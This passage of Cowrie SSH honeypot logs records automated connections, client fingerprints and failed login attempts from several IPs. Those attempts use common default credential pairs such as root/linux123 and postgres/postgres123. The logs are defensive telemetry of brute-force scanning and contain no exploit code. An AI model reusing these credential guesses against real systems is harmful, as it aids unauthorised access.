acCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:11.988763Z","src_ip":"43.153.46.75","session":"064e7c43275b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:12.297611Z","src_ip":"43.153.46.75","session":"064e7c43275b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:13.371371Z","src_ip":"43.153.46.75","session":"064e7c43275b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54436,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b45f97bbe8","protocol":"ssh","message":"New connection: 43.163.119.215:54436 (10.17.0.5:22) [session: 21b45f97bbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:14.550792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:14.560338Z","src_ip":"43.163.119.215","session":"21b45f97bbe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:14.807857Z","src_ip":"43.163.119.215","session":"21b45f97bbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":51034,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d68e7acfec2","protocol":"ssh","message":"New connection: 162.243.147.237:51034 (159.203.135.109:22) [session: 3d68e7acfec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:15.140246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:15.146438Z","src_ip":"162.243.147.237","session":"3d68e7acfec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:15.212137Z","src_ip":"162.243.147.237","session":"3d68e7acfec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"turtle","message":"login attempt [root/turtle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:15.497931Z","src_ip":"162.243.147.237","session":"3d68e7acfec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:15.550037Z","src_ip":"43.163.119.215","session":"21b45f97bbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:16.565906Z","src_ip":"162.243.147.237","session":"3d68e7acfec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:16.800769Z","src_ip":"43.163.119.215","session":"21b45f97bbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":47328,"dst_ip":"10.17.0.5","dst_port":22,"session":"c31541fce9ee","protocol":"ssh","message":"New connection: 43.163.119.215:47328 (10.17.0.5:22) [session: c31541fce9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:16.926768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:16.938535Z","src_ip":"43.163.119.215","session":"c31541fce9ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:17.185032Z","src_ip":"43.163.119.215","session":"c31541fce9ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:17.925478Z","src_ip":"43.163.119.215","session":"c31541fce9ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:19.187378Z","src_ip":"43.163.119.215","session":"c31541fce9ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55748,"dst_ip":"159.203.135.109","dst_port":22,"session":"946affe6663a","protocol":"ssh","message":"New connection: 103.75.199.4:55748 (159.203.135.109:22) [session: 946affe6663a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:23.129368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:23.134378Z","src_ip":"103.75.199.4","session":"946affe6663a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:23.227428Z","src_ip":"103.75.199.4","session":"946affe6663a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:23.527077Z","src_ip":"103.75.199.4","session":"946affe6663a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:24.624946Z","src_ip":"103.75.199.4","session":"946affe6663a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":47332,"dst_ip":"10.17.0.5","dst_port":22,"session":"d39db8b57a5b","protocol":"ssh","message":"New connection: 43.163.119.215:47332 (10.17.0.5:22) [session: d39db8b57a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:27.542472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:27.551312Z","src_ip":"43.163.119.215","session":"d39db8b57a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:27.799506Z","src_ip":"43.163.119.215","session":"d39db8b57a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:28.545779Z","src_ip":"43.163.119.215","session":"d39db8b57a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:29.797876Z","src_ip":"43.163.119.215","session":"d39db8b57a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":52452,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6c6e054aec6","protocol":"ssh","message":"New connection: 124.121.31.17:52452 (10.17.0.5:22) [session: b6c6e054aec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:31.244668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:31.249002Z","src_ip":"124.121.31.17","session":"b6c6e054aec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:31.515413Z","src_ip":"124.121.31.17","session":"b6c6e054aec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:32.614197Z","src_ip":"124.121.31.17","session":"b6c6e054aec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:33.884526Z","src_ip":"124.121.31.17","session":"b6c6e054aec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51852,"dst_ip":"10.17.0.5","dst_port":22,"session":"54fc81903b31","protocol":"ssh","message":"New connection: 43.163.119.215:51852 (10.17.0.5:22) [session: 54fc81903b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:40.586017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:40.594992Z","src_ip":"43.163.119.215","session":"54fc81903b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:40.832382Z","src_ip":"43.163.119.215","session":"54fc81903b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:41.544058Z","src_ip":"43.163.119.215","session":"54fc81903b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:42.784446Z","src_ip":"43.163.119.215","session":"54fc81903b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55264,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0d93718bf0e","protocol":"ssh","message":"New connection: 103.75.199.4:55264 (159.203.135.109:22) [session: a0d93718bf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:44.932345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:44.937170Z","src_ip":"103.75.199.4","session":"a0d93718bf0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:45.029169Z","src_ip":"103.75.199.4","session":"a0d93718bf0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:45.304137Z","src_ip":"103.75.199.4","session":"a0d93718bf0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:46.398040Z","src_ip":"103.75.199.4","session":"a0d93718bf0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":60552,"dst_ip":"159.203.135.109","dst_port":22,"session":"065cc9fab2ed","protocol":"ssh","message":"New connection: 154.83.196.237:60552 (159.203.135.109:22) [session: 065cc9fab2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:00.780624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:00.785434Z","src_ip":"154.83.196.237","session":"065cc9fab2ed","protocol":"ssh"}
